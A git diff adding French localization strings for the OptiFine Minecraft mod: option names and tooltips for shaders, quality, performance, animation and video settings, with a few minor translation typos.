+of.options.CHUNK_LOADING.tooltip.1=Chargement des Chunks +of.options.CHUNK_LOADING.tooltip.2= Défaut - FPS instable lors du chargement des chunks +of.options.CHUNK_LOADING.tooltip.3= Adoucie - FPS stable +of.options.CHUNK_LOADING.tooltip.4= Multi-Coeur - FPS stable, Chargement 3x plus rapide +of.options.CHUNK_LOADING.tooltip.5=Adoucie et Multi-Coeur évite le bégaiement et +of.options.CHUNK_LOADING.tooltip.6=les lags causés par le chargement des chunks. +of.options.CHUNK_LOADING.tooltip.7=Multi-Coeur peut augmenter de 3x la vitesse de chargement +of.options.CHUNK_LOADING.tooltip.8=et augmenter les FPS en utilisant un deuxième Coeur du CPU. +of.options.chunkLoading.smooth=Adoucie +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=OFF +of.options.shaders.packDefault=(interne) + +of.options.shaders.ANTIALIASING=Anticrénelage +of.options.shaders.NORMAL_MAP=Map Normale +of.options.shaders.SPECULAR_MAP=Map Spectaculaire +of.options.shaders.RENDER_RES_MUL=Qualité du Rendu +of.options.shaders.SHADOW_RES_MUL=Qualité des Ombres +of.options.shaders.HAND_DEPTH_MUL=Profondeur de la Main +of.options.shaders.CLOUD_SHADOW=Ombres des nuages +of.options.shaders.OLD_HAND_LIGHT=Ancien Éclairage de la Main +of.options.shaders.OLD_LIGHTING=Ancien Éclairage +of.options.shaders.SHADER_PACK=Pack de Shader + +of.options.shaders.shadersFolder=Dossier des Shaders +of.options.shaders.shaderOptions=Options du Shader... + +of.options.shaderOptionsTitle=Options du Shader + +of.options.quality=Qualité... +of.options.qualityTitle=Paramètre de la Qualité + +of.options.details=Détails... +of.options.detailsTitle=Paramètre des Détails + +of.options.performance=Performance... +of.options.performanceTitle=Paramètre des Performances + +of.options.animations=Animations... +of.options.animationsTitle=Paramètre des Animations + +of.options.other=Autre... +of.options.otherTitle=Autre Paramètre + +of.options.other.reset=Réinitialiser les réglages vidéos... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilinéaire +of.options.mipmap.linear=Linéaire +of.options.mipmap.nearest=Rapproché +of.options.mipmap.trilinear=Trilinéaire + +options.mipmapLevels.tooltip.1=Effet visuelle qui rend les objets lointains plus beau +options.mipmapLevels.tooltip.2=en adoucissent les détails +options.mipmapLevels.tooltip.3= OFF - Aucun adoucissement +options.mipmapLevels.tooltip.4= 1 - adoucissement minimum +options.mipmapLevels.tooltip.5= 4 - adoucissement maximum +options.mipmapLevels.tooltip.6=Cette option n'affecte généralement pas les performances. + +of.options.MIPMAP_TYPE=Type de Mipmap +of.options.MIPMAP_TYPE.tooltip.1=Effet visuel qui rend les objets lointains plus beau +of.options.MIPMAP_TYPE.tooltip.2=en adoucissent les détails +of.options.MIPMAP_TYPE.tooltip.3= Rapproché - adoucissement esquissé (rapide) +of.options.MIPMAP_TYPE.tooltip.4= Linéaire - adoucissement normal +of.options.MIPMAP_TYPE.tooltip.5= Bilinéaire - adoucissement travaillé +of.options.MIPMAP_TYPE.tooltip.6= Trilinéaire - adoucissement magnifique (lent) + +of.options.AA_LEVEL=Anticrénelage +of.options.AA_LEVEL.tooltip.1=Anticrénelage +of.options.AA_LEVEL.tooltip.2= OFF - (défaut) sans anticrénelage (rapide) +of.options.AA_LEVEL.tooltip.3= 2-16 - anticrénelage les lignes et cotés (lent) +of.options.AA_LEVEL.tooltip.4=L'Anticrénelage adouci l'effet rugueux et +of.options.AA_LEVEL.tooltip.5=les transitions rapides de couleurs. +of.options.AA_LEVEL.tooltip.6=Lorsque activer, les FPS peuvent ralentir. +of.options.AA_LEVEL.tooltip.7=Tous les niveaux ne sont pas supportés par toutes les cartes graphiques. +of.options.AA_LEVEL.tooltip.8=N'a d'effets qu'après un REDÉMARRAGE! + +of.options.AF_LEVEL=Filtrage Anisotropique +of.options.AF_LEVEL.tooltip.1=Filtrage Anisotropique +of.options.AF_LEVEL.tooltip.2= OFF - (défaut) détail de texture standard (rapide) +of.options.AF_LEVEL.tooltip.3= 2-16 - détails plus fins dans les textures mipmappées (lent) +of.options.AF_LEVEL.tooltip.4=Le Filtrage Anisotropique rétablie les détails dans +of.options.AF_LEVEL.tooltip.5=les textures mipmappé. +of.options.AF_LEVEL.tooltip.6=Lorsque activer, les FPS peuvent ralentir. + +of.options.CLEAR_WATER=Eau Claire +of.options.CLEAR_WATER.tooltip.1=Eau Claire +of.options.CLEAR_WATER.tooltip.2= ON - claire, eau transparente +of.options.CLEAR_WATER.tooltip.3= OFF - eau par défaut + +of.options.RANDOM_ENTITIES=Mobs Aléatoires +of.options.RANDOM_ENTITIES.tooltip.1=Mobs Aléatoires +of.options.RANDOM_ENTITIES.tooltip.2= OFF - aucun mob aléatoire (rapide) +of.options.RANDOM_ENTITIES.tooltip.3= ON - avec mob aléatoire (lent) +of.options.RANDOM_ENTITIES.tooltip.4=Les Mobs utilisent des textures aléatoires +of.options.RANDOM_ENTITIES.tooltip.5=A besoin d'un pack de ressources avec plusieurs textures de mob + +of.options.BETTER_GRASS=Meilleur Gazon +of.options.BETTER_GRASS.tooltip.1=Meilleur Gazon +of.options.BETTER_GRASS.tooltip.2= OFF - texture par défaut (rapide) +of.options.BETTER_GRASS.tooltip.3= Rapide - bord de gazon complet (lent) +of.options.BETTER_GRASS.tooltip.4= Détaillé - bord de gazon détaillé (très lent) + +of.options.BETTER_SNOW=Meilleur Neige +of.options.BETTER_SNOW.tooltip.1=Meilleur Neige +of.options.BETTER_SNOW.tooltip.2= OFF - Neige par défaut (rapide) +of.options.BETTER_SNOW.tooltip.3= ON - Meilleure Neige (lent) +of.options.BETTER_SNOW.tooltip.4=Apparait en dessous des blocs transparents (clôture, haute herbe) +of.options.BETTER_SNOW.tooltip.5=lorsque qu'entouré de neige. + +of.options.CUSTOM_FONTS=Police Personnalisé +of.options.CUSTOM_FONTS.tooltip.1=Police Personnalisé +of.options.CUSTOM_FONTS.tooltip.2= ON - utilise la police personnalisée (défaut, lent) +of.options.CUSTOM_FONTS.tooltip.3= OFF - utilise la police par défaut (rapide) +of.options.CUSTOM_FONTS.tooltip.4=La Police Personnalisée est fournis par +of.options.CUSTOM_FONTS.tooltip.5=le pack de ressources utilisé. + +of.options.CUSTOM_COLORS=Couleurs Personnalisés +of.options.CUSTOM_COLORS.tooltip.1=Couleurs Personnalisés +of.options.CUSTOM_COLORS.tooltip.2= ON - utilise des couleurs personnalisées (défaut, lent) +of.options.CUSTOM_COLORS.tooltip.3= OFF - utilise les couleurs par défaut (rapide) +of.options.CUSTOM_COLORS.tooltip.4=Les Couleurs Personnalisées sont fournis par +of.options.CUSTOM_COLORS.tooltip.5=le pack de ressources utilisé. + +of.options.SWAMP_COLORS=Couleurs Marécageuses +of.options.SWAMP_COLORS.tooltip.1=Couleurs Marécageuses +of.options.SWAMP_COLORS.tooltip.2= ON - utilise les couleurs marécageuses (défaut, lent) +of.options.SWAMP_COLORS.tooltip.3= OFF - n'utilise pas les couleurs marécageuses (rapide) +of.options.SWAMP_COLORS.tooltip.4=La couleur marécageuse modifie le gazon, les feuilles, +of.options.SWAMP_COLORS.tooltip.5=les lianes et l'eau. + +of.options.SMOOTH_BIOMES=Biomes Adoucis +of.options.SMOOTH_BIOMES.tooltip.1=Biomes Adoucis +of.options.SMOOTH_BIOMES.tooltip.2= ON - adoucie la bordure des biomes (défaut, lent) +of.options.SMOOTH_BIOMES.tooltip.3= OFF - aucun adoucissement de bordure des biomes (rapide) +of.options.SMOOTH_BIOMES.tooltip.4=L'adoucissement des bordures de biomes est fait en échantillonnant et +of.options.SMOOTH_BIOMES.tooltip.5=moyenant la couleur des blocs aux frontières entre deux biomes. +of.options.SMOOTH_BIOMES.tooltip.6=N'affecte que le gazon, les feuilles, les lianes et l'eau. + +of.options.CONNECTED_TEXTURES=Textures Connectés +of.options.CONNECTED_TEXTURES.tooltip.1=Textures Connectés +of.options.CONNECTED_TEXTURES.tooltip.2= OFF - aucune connexion (défaut) +of.options.CONNECTED_TEXTURES.tooltip.3= Rapide - connexion rapide +of.options.CONNECTED_TEXTURES.tooltip.4= Fancy - connexion détaillée +of.options.CONNECTED_TEXTURES.tooltip.5=Les Textures Connectés connecte les textures de +of.options.CONNECTED_TEXTURES.tooltip.6=la vitre, le grès et les bibliothèques placés une +of.options.CONNECTED_TEXTURES.tooltip.7=à coté de l'autre. Les Textures Connectés sont +of.options.CONNECTED_TEXTURES.tooltip.8=fournis par le pack de ressources utilisé. + +of.options.NATURAL_TEXTURES=Textures Naturelles +of.options.NATURAL_TEXTURES.tooltip.1=Textures Naturelles +of.options.NATURAL_TEXTURES.tooltip.2= OFF - sans textures naturelles (défaut) +of.options.NATURAL_TEXTURES.tooltip.3= ON - avec textures naturelles +of.options.NATURAL_TEXTURES.tooltip.4=Les textures naturelles enlèvent le pattern grillagé +of.options.NATURAL_TEXTURES.tooltip.5=créé par la répétition de bloc identique. +of.options.NATURAL_TEXTURES.tooltip.6=L'utilisation de textures retournées et renversées +of.options.NATURAL_TEXTURES.tooltip.7=est utilisé. La configuration pour les textures naturelles +of.options.NATURAL_TEXTURES.tooltip.8=sont fournies par le pack de ressources utilisé. + +of.options.CUSTOM_SKY=Ciel Personnalisé +of.options.CUSTOM_SKY.tooltip.1=Ciel Personnalisé +of.options.CUSTOM_SKY.tooltip.2= ON - Texture personnalisée (défaut, lent) +of.options.CUSTOM_SKY.tooltip.3= OFF - ciel par défaut (rapide) +of.options.CUSTOM_SKY.tooltip.4=La texture du ciel personnalisé est +of.options.CUSTOM_SKY.tooltip.5=fourni par le pack de ressources utilisé. + +of.options.CUSTOM_ITEMS=Items Personnalisés +of.options.CUSTOM_ITEMS.tooltip.1=Items Personnalisés +of.options.CUSTOM_ITEMS.tooltip.2= ON - textures d'items personnalisés (défaut, lent) +of.options.CUSTOM_ITEMS.tooltip.3= OFF - textures d'items par défaut (rapide) +of.options.CUSTOM_ITEMS.tooltip.4=Les textures d'items personnalisés sont +of.options.CUSTOM_ITEMS.tooltip.5=fournis par le pack de ressources utilisé. + +of.options.CUSTOM_ENTITY_MODELS=Modèles d'Entités Personnalisées +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Modèles d'Entités Personnalisées +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= ON - modèles d'entités personnalisées (défaut, lent) +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= OFF - modèles d'entités par défaut (rapide) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Les modèles d'entités personnalisées sont +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=fournis par le pack de ressources utilisé. + +# Details + +of.options.CLOUDS=Nuages +of.options.CLOUDS.tooltip.1=Nuages +of.options.CLOUDS.tooltip.2= Défaut - comme dans les configurations Graphiques +of.options.CLOUDS.tooltip.3= Rapides - basse qualité (rapde) +of.options.CLOUDS.tooltip.4= Détaillés - haute qualité (lent) +of.options.CLOUDS.tooltip.5= OFF - sans nuages (plus rapide) +of.options.CLOUDS.tooltip.6=Les nuages rapides sont rendus en 2D. +of.options.CLOUDS.tooltip.7=Les nuages détaillés sont rendus en 3D. + +of.options.CLOUD_HEIGHT=Hauteur des Nuages +of.options.CLOUD_HEIGHT.tooltip.1=Hauteur des Nuages +of.options.CLOUD_HEIGHT.tooltip.2= OFF - hauteur par défaut +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - au-dessus de la hauteur limite du monde + +of.options.TREES=Arbres +of.options.TREES.tooltip.1=Arbres +of.options.TREES.tooltip.2= Défaut - comme dans les configurations Graphiques +of.options.TREES.tooltip.3= Rapides - basse qualité (plus rapide) +of.options.TREES.tooltip.4= Intelligents - haute qualité (rapide) +of.options.TREES.tooltip.5= Détaillés - très haute qualité (lent) +of.options.TREES.tooltip.6=Les arbres rapides ont des feuilles opaques. +of.options.TREES.tooltip.7=Les arbres intelligents et détaillés +of.options.TREES.tooltip.8=ont des feuilles transparentes. + +of.options.RAIN=Pluie & Neige +of.options.RAIN.tooltip.1=Pluie & Neige +of.options.RAIN.tooltip.2= Défaut - comme dans les configurations Graphiques +of.options.RAIN.tooltip.3= Rapide - légère pluie/neige (rapide) +of.options.RAIN.tooltip.4= Détaillé - grosse pluie/neige (lent) +of.options.RAIN.tooltip.5= OFF - sans pluie/neige (plus rapide) +of.options.RAIN.tooltip.6=Même si la pluie & la neige est à OFF, +of.options.RAIN.tooltip.7=les éclaboussures et le son sont toujours actifs. + +of.options.SKY=Ciel +of.options.SKY.tooltip.1=Ciel +of.options.SKY.tooltip.2= ON - Le ciel est visible (lent) +of.options.SKY.tooltip.3= OFF - Le ciel n'est pas visible (rapide) +of.options.SKY.tooltip.4=Quand le ciel est à OFF, +of.options.SKY.tooltip.5=le soleil et la lune sont toujours visibles. + +of.options.STARS=Étoiles +of.options.STARS.tooltip.1=Étoiles +of.options.STARS.tooltip.2= ON - Les étoiles sont visible (lent) +of.options.STARS.tooltip.3= OFF - Les étoiles ne sont pas visibles (rapide) + +of.options.SUN_MOON=Soleil & lune +of.options.SUN_MOON.tooltip.1=Soleil & lune +of.options.SUN_MOON.tooltip.2= ON - le soleil et la lune sont visibles (défaut) +of.options.SUN_MOON.tooltip.3= OFF - le soleil et la lune ne sont pas visibles (rapide) + +of.options.SHOW_CAPES=Capes Visibles +of.options.SHOW_CAPES.tooltip.1=Capes visibles +of.options.SHOW_CAPES.tooltip.2= ON - voir la cape de joueurs (défaut) +of.options.SHOW_CAPES.tooltip.3= OFF - ne pas voir la cape des joueurs + +of.options.TRANSLUCENT_BLOCKS=Blocs Translucides +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocs Translucides +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Détaillés - mélange correct des couleurs (défaut) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rapides - mélange rapide ds couleurs (rapide) +of.options.TRANSLUCENT_BLOCKS.tooltip.4=Controle le mélange des couleurs des blocs translucides +of.options.TRANSLUCENT_BLOCKS.tooltip.5=avec différentes couleurs (verre teindu, eau, glace) +of.options.TRANSLUCENT_BLOCKS.tooltip.6=lorsque placé un à côté de l'autre avec de l'air entre eux. + +of.options.HELD_ITEM_TOOLTIPS=Info-bulles d'Item +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Info-bulles d'Item +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= ON - affiche des infos sur l'item en main (défaut) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= OFF - n'affiche pas d'info sur l'item en main + +of.options.ADVANCED_TOOLTIPS=Info-bulles Avancé +of.options.ADVANCED_TOOLTIPS.tooltip.1=Info-bulles Avancé +of.options.ADVANCED_TOOLTIPS.tooltip.2= ON - affiche les infobulles avancées +of.options.ADVANCED_TOOLTIPS.tooltip.3= OFF - n'affiche pas les infobulles avancées (défaut) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Les infobulles avancées affiche des informations détaillées +of.options.ADVANCED_TOOLTIPS.tooltip.5=sur l'item (id, durabilité) et les options des shaders +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, source, valeurs par défaut). + +of.options.DROPPED_ITEMS=Items Droppés +of.options.DROPPED_ITEMS.tooltip.1=Dropped Items +of.options.DROPPED_ITEMS.tooltip.2= Défaut - comme dans les configurations Graphiques +of.options.DROPPED_ITEMS.tooltip.3= Rapides - items 2D (rapide) +of.options.DROPPED_ITEMS.tooltip.4= Détaillés - items 3D (lent) + +options.entityShadows.tooltip.1=Ombres des Entités +options.entityShadows.tooltip.2= ON - affiche l'ombre des entités +options.entityShadows.tooltip.3= OFF - n'affiche pas l'ombre des entités + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Effet visuel qui assombrie les coins de l'écran +of.options.VIGNETTE.tooltip.2= Défaut - comme dans les configurations Graphiques +of.options.VIGNETTE.tooltip.3= Rapide - vignette désactivée (rapide) +of.options.VIGNETTE.tooltip.4= Détaillée - vignette activée (lent) +of.options.VIGNETTE.tooltip.5=La vignette à un effet significatif sur les FPS, +of.options.VIGNETTE.tooltip.6=surtout lorsque le jeu est en plein écran. +of.options.VIGNETTE.tooltip.7=L'effet de vignette est très subtile et +of.options.VIGNETTE.tooltip.8=peut être désactivé en toute sécurité. + +of.options.DYNAMIC_FOV=CV Dynamique +of.options.DYNAMIC_FOV.tooltip.1=CV Dynamique +of.options.DYNAMIC_FOV.tooltip.2= ON - activer le CV dynamique (défaut) +of.options.DYNAMIC_FOV.tooltip.3= OFF - désactiver le CV dynamique +of.options.DYNAMIC_FOV.tooltip.4=Changer le champ visuel (CV) lors du vol, du sprint +of.options.DYNAMIC_FOV.tooltip.5=de la nage et du bandage d'un arc. + +of.options.DYNAMIC_LIGHTS=Lumières Dynamiques +of.options.DYNAMIC_LIGHTS.tooltip.1=Lumières Dynamiques +of.options.DYNAMIC_LIGHTS.tooltip.2= OFF - aucune lumière dynamique (défaut) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rapides - lumières dynamiques rapides (rafraichi à tous les 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Détaillées - Lumières dynamiques détaillées (rafraichi en temps réel) +of.options.DYNAMIC_LIGHTS.tooltip.5=Active la lumière des items (torche, pierre lumineuse, etc.) +of.options.DYNAMIC_LIGHTS.tooltip.6=pour illuminer tout autour quand l'item et en main, +of.options.DYNAMIC_LIGHTS.tooltip.7=equipper par d'autres joueurs ou jeter au sol. + +# Performance + +of.options.SMOOTH_FPS=FPS Atténué +of.options.SMOOTH_FPS.tooltip.1=Stabilise les FPS en supprimant les tampons de mémoires graphiques. +of.options.SMOOTH_FPS.tooltip.2= OFF - aucune stabilisation, Les FPS peuvent varier +of.options.SMOOTH_FPS.tooltip.3= ON - stabilisation des FPS +of.options.SMOOTH_FPS.tooltip.4=Cette option dépend du gestionnaire graphique, les +of.options.SMOOTH_FPS.tooltip.5=effets ne sont pas toujours visibles. + +of.options.SMOOTH_WORLD=Monde Atténué +of.options.SMOOTH_WORLD.tooltip.1=Élimine les piques de lag causé par le serveur interne. +of.options.SMOOTH_WORLD.tooltip.2= OFF - aucune stabilisation, Les FPS peuvent varier +of.options.SMOOTH_WORLD.tooltip.3= ON - stabilisation des FPS +of.options.SMOOTH_WORLD.tooltip.4=Stabilises les FPS en distribuent les charges du serveur interne. +of.options.SMOOTH_WORLD.tooltip.5=Fonctionne seulement en local (monde solo). + +of.options.FAST_RENDER=Rendu Rapide +of.options.FAST_RENDER.tooltip.1=Rendu Rapide +of.options.FAST_RENDER.tooltip.2= OFF - rendu standard (défaut) +of.options.FAST_RENDER.tooltip.3= ON - rendu optimisé (rapide) +of.options.FAST_RENDER.tooltip.4=Utilise des algorithmes de rendu optimisé pour diminuer +of.options.FAST_RENDER.tooltip.5=la charge du GPU et peut augmenter les FPS. + +of.options.FAST_MATH=Maths Rapides +of.options.FAST_MATH.tooltip.1=Mats Rapides +of.options.FAST_MATH.tooltip.2= OFF - math standard (défaut) +of.options.FAST_MATH.tooltip.3= ON - math optimisé +of.options.FAST_MATH.tooltip.4=Utilise des fonctions optimisées de sin() et cos() qui peuvent +of.options.FAST_MATH.tooltip.5=mieu utilisé la cache du CPU et augmenter les FPS. + +of.options.CHUNK_UPDATES=Mise à Jour des Chunks +of.options.CHUNK_UPDATES.tooltip.1=Mise à Jour des Chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - chargement lent du monde, meilleur FPS (défaut) +of.options.CHUNK_UPDATES.tooltip.3= 3 - chargement rapide du monde, bas FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - chargement très rapide du monde, très bas FPS +of.options.CHUNK_UPDATES.tooltip.5=Nombre de Mise à jour par image de rendu (tick), +of.options.CHUNK_UPDATES.tooltip.6=Les valeurs élevées peut déstabilisé les FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Mises à Jour Dynamiques +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Mises à Jours Dynamiques +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= OFF - mise à jour standard (défaut) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= ON - plus de mise à jour lorsque le joueur ne bouge pas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Les mises à jour dynamiques force plus de +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=chunks à ce mettre à jour quand le joueur +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=est inactif pour charger le monde plus vite. + +of.options.LAZY_CHUNK_LOADING=Chargement des Chunks Lâches +of.options.LAZY_CHUNK_LOADING.tooltip.1=Chargement Lâche des Chunks +of.options.LAZY_CHUNK_LOADING.tooltip.2= OFF - chargement des chunks serveurs par défaut +of.options.LAZY_CHUNK_LOADING.tooltip.3= ON - chargement des chunks serveur lâche (plus doux) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Adoucie le chargement des chunks serveurs intégrés +of.options.LAZY_CHUNK_LOADING.tooltip.5=en distribuant les chunks sur plusieurs ticks. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Tourné à OFF si des parties du monde ne se charge pas correctement. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Fonctionne seulement en local (monde solo) et les CPU à un coeur. + +# Animations + +of.options.animation.allOn=Tous à ON +of.options.animation.allOff=Tous à OFF +of.options.animation.dynamic=Dynamique + +of.options.ANIMATED_WATER=Eau Animée +of.options.ANIMATED_LAVA=Lave Animée +of.options.ANIMATED_FIRE=Feux Animé +of.options.ANIMATED_PORTAL=Portail Animé +of.options.ANIMATED_REDSTONE=Redstone Animé +of.options.ANIMATED_EXPLOSION=Explosion Animée +of.options.ANIMATED_FLAME=Flamme Animé +of.options.ANIMATED_SMOKE=Fumée Animée +of.options.VOID_PARTICLES=Particules de Vide +of.options.WATER_PARTICLES=Particules d'Eau +of.options.RAIN_SPLASH=Particules de Pluie +of.options.PORTAL_PARTICLES=Particules de Portail +of.options.POTION_PARTICLES=Particules de Potion +of.options.DRIPPING_WATER_LAVA=Eau/Lave qui Coule +of.options.ANIMATED_TERRAIN=Terrain Animé +of.options.ANIMATED_TEXTURES=Textures Animées +of.options.FIREWORK_PARTICLES=Particules de Feux d'Artifice + +# Other + +of.options.LAGOMETER=Lagomèter +of.options.LAGOMETER.tooltip.1=Affiche le Lagomètre sur l'écran de débogage (F3). +of.options.LAGOMETER.tooltip.2=* Orange - Récupérateur de mémoire +of.options.LAGOMETER.tooltip.3=* Cyan - Tick +of.options.LAGOMETER.tooltip.4=* Blue - Executables programmés +of.options.LAGOMETER.tooltip.5=* Purple - Chunk téléchargé +of.options.LAGOMETER.tooltip.6=* Red - Mises à jour de chunk +of.options.LAGOMETER.tooltip.7=* Yellow - Contrôle de visibilité +of.options.LAGOMETER.tooltip.8=* Green - Terrain rendu + +of.options.PROFILER=Profileur de Débogage +of.options.PROFILER.tooltip.1=Profileur de Débogage +of.options.PROFILER.tooltip.2= ON - profileur actif (lent) +of.options.PROFILER.tooltip.3= OFF - profileur non actif (rapide) +of.options.PROFILER.tooltip.4=Le profileur de débogage collecte et affiche des informations de +of.options.PROFILER.tooltip.5=débogage lorsque l'écran de débogage (F3) est ouvert. + +of.options.WEATHER=Météo +of.options.WEATHER.tooltip.1=Météo +of.options.WEATHER.tooltip.2= ON - Météo active (lent) +of.options.WEATHER.tooltip.3= OFF - Météo non active (rapide) +of.options.WEATHER.tooltip.4=La météo contrôle la pluie, la neige et l'orage. +of.options.WEATHER.tooltip.5=Le contrôle de la météo n'est possible qu'en local. + +of.options.time.dayOnly=Jour Seulement +of.options.time.nightOnly=Nuit Seulement + +of.options.TIME=temps +of.options.TIME.tooltip.1=Temps +of.options.TIME.tooltip.2= Défaut - Cycle jour/nuit normal +of.options.TIME.tooltip.3= Jour Seulement - jour seulement +of.options.TIME.tooltip.4= Nuit Seulement - nuit seulement +of.options.TIME.tooltip.5=La séléction du temps n'est possible qu'en CRÉATIF +of.options.TIME.tooltip.6=dans un monde local. + +options.fullscreen.tooltip.1=Plein Écran +options.fullscreen.tooltip.2= ON - jeu en plein écran +options.fullscreen.tooltip.3= OFF - jeu fenêtré +options.fullscreen.tooltip.4=Le mode plein écran peut être plus rapide ou plus lent +options.fullscreen.tooltip.5=que le mode fenêtré, cela dépend de la carte graphique. + +of.options.FULLSCREEN_MODE=Option Plein Écran +of.options.FULLSCREEN_MODE.tooltip.1=Option Plein Écran +of.options.FULLSCREEN_MODE.tooltip.2= Défaut - utilise la résolution du moniteur (lent) +of.options.FULLSCREEN_MODE.tooltip.3= LxH - utilise une résolution personnalisée (rapide) +of.options.FULLSCREEN_MODE.tooltip.4=La résolution sélectionnée est utilisé en mode plein écran (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Une résolution plus basse devrait être plus rapide. + +of.options.SHOW_FPS=Afficher les FPS +of.options.SHOW_FPS.tooltip.1=Affiche les FPS et informations de rendu. +of.options.SHOW_FPS.tooltip.2= C: - chunk rendu +of.options.SHOW_FPS.tooltip.3= E: - entités rendu + bloc entités +of.options.SHOW_FPS.tooltip.4= U: - mises à jour de chunk +of.options.SHOW_FPS.tooltip.5=Les informations sont présenté de manière compacte dans le coin +of.options.SHOW_FPS.tooltip.6=supérieur gauche lorsque l'écran de débogage n'est pas visible + +of.options.save.default=Défaut (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Sauvegarde Automatique +of.options.AUTOSAVE_TICKS.tooltip.1=Intervale entre les sauvegardes +of.options.AUTOSAVE_TICKS.tooltip.2=L'intervalle par défaut (2s) n'est PAS RECOMMENDER. +of.options.AUTOSAVE_TICKS.tooltip.3=Les sauvegardes automatiques sont la cause +of.options.AUTOSAVE_TICKS.tooltip.4=du Pique de Lag de la Mort qui Tue. + +of.options.SCREENSHOT_SIZE=Taille des Captures d'Écrans +of.options.SCREENSHOT_SIZE.tooltip.1=Taille des Captures d'Écrans +of.options.SCREENSHOT_SIZE.tooltip.2= Défaut - taille de la fenêtre +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - taille personnalisée +of.options.SCREENSHOT_SIZE.tooltip.4=Prendre une capture d'écran plus grande utilise plus de mémoire. +of.options.SCREENSHOT_SIZE.tooltip.5=Incompatible avec le Rendu Rapide et l'Anticrénelage. +of.options.SCREENSHOT_SIZE.tooltip.6=Nécessite un GPU avec un tampon d'image. \ No newline at end of file diff --git a/src/assets/minecraft/optifine/lang/fr_fr.lang b/src/assets/minecraft/optifine/lang/fr_fr.lang new file mode 100644 index 00000000..2fd1b758 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/fr_fr.lang @@ -0,0 +1,779 @@ +# Traduit en français par Z0ul0u25, Koockies, SkytAsul, robot275 et Calinou + +# General +of.general.ambiguous=Ambiguë +of.general.custom=Personnalisé +of.general.from=De +of.general.id=ID +of.general.restart=Redémarrer +of.general.smart=Approfondis + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=L'anticrénelage n'est pas compatible avec les shaders. +of.message.aa.shaders2=Veuillez désactiver les shaders pour activer cette option. + +of.message.af.shaders1=Le filtrage anisotrope n'est pas compatible avec les shaders. +of.message.af.shaders2=Veuillez désactiver les shaders pour activer cette option. + +of.message.fr.shaders1=Le rendu rapide n'est pas compatible avec les shaders. +of.message.fr.shaders2=Veuillez désactiver les shaders pour activer cette option. + +of.message.an.shaders1=L'anaglyphe 3D n'est pas compatible avec les shaders. +of.message.an.shaders2=Veuillez désactiver les shaders pour activer cette option. + +of.message.shaders.aa1=Les shaders ne sont pas compatibles avec l'anticrénelage. +of.message.shaders.aa2=Veuillez définir Qualité -> Anticrénelage sur "Non" puis redémarrez le jeu. + +of.message.shaders.af1=Les shaders ne sont pas compatibles avec le filtrage anisotrope. +of.message.shaders.af2=Veuillez définir Qualité -> Filtrage anisotrope sur "Non". + +of.message.shaders.fr1=Les shaders ne sont pas compatibles avec le rendu rapide. +of.message.shaders.fr2=Veuillez définir Performance -> Rendu rapide sur "Non". + +of.message.shaders.an1=Les shaders ne sont pas compatibles avec la 3D anaglyphe. +of.message.shaders.an2=Veuillez définir Autre -> 3D anaglyphe sur "Non". + +of.message.shaders.nv1=Ce pack de shaders nécessite une version d'OptiFine plus récente : %s +of.message.shaders.nv2=Voulez-vous vraiment continuer ? + +of.message.newVersion=Une nouvelle version d'§eOptiFine§f est disponible : §e%s§f +of.message.java64Bit=Pour de meilleures performances, installez une version §e64 bits de Java§f +of.message.openglError=§eErreur OpenGL§f : %s (%s) + +of.message.shaders.loading=Chargement des shaders : %s + +of.message.other.reset=Réinitialiser tous les réglages vidéo à leurs valeurs par défaut ? + +of.message.loadingVisibleChunks=Chargement des tronçons visibles + +# Skin customization + +of.options.skinCustomisation.ofCape=Cape OptiFine... + +of.options.capeOF.title=Cape OptiFine +of.options.capeOF.openEditor=Ouvrir l'éditeur de cape +of.options.capeOF.reloadCape=Recharger la cape +of.options.capeOF.copyEditorLink=Copier le lien + +of.message.capeOF.openEditor=L'éditeur de cape OptiFine devrait s'ouvrir dans un navigateur internet. +of.message.capeOF.openEditorError=Erreur lors de l'ouverture du lien de l'éditeur dans un navigateur internet. +of.message.capeOF.reloadCape=La cape sera rechargée dans 15 secondes. + +of.message.capeOF.error1=Échec de l'authentification Mojang. +of.message.capeOF.error2=Erreur : %s + +# Video settings + +options.graphics.tooltip.1=Graphismes +options.graphics.tooltip.2= Rapides - Basse qualité (rapide) +options.graphics.tooltip.3= Détaillés - Haute qualité (lent) +options.graphics.tooltip.4=Modifie l'apparence des nuages, des feuilles, de l'eau, des +options.graphics.tooltip.5=ombres et du côté de l'herbe. + +of.options.renderDistance.tiny=Minimale +of.options.renderDistance.short=Courte 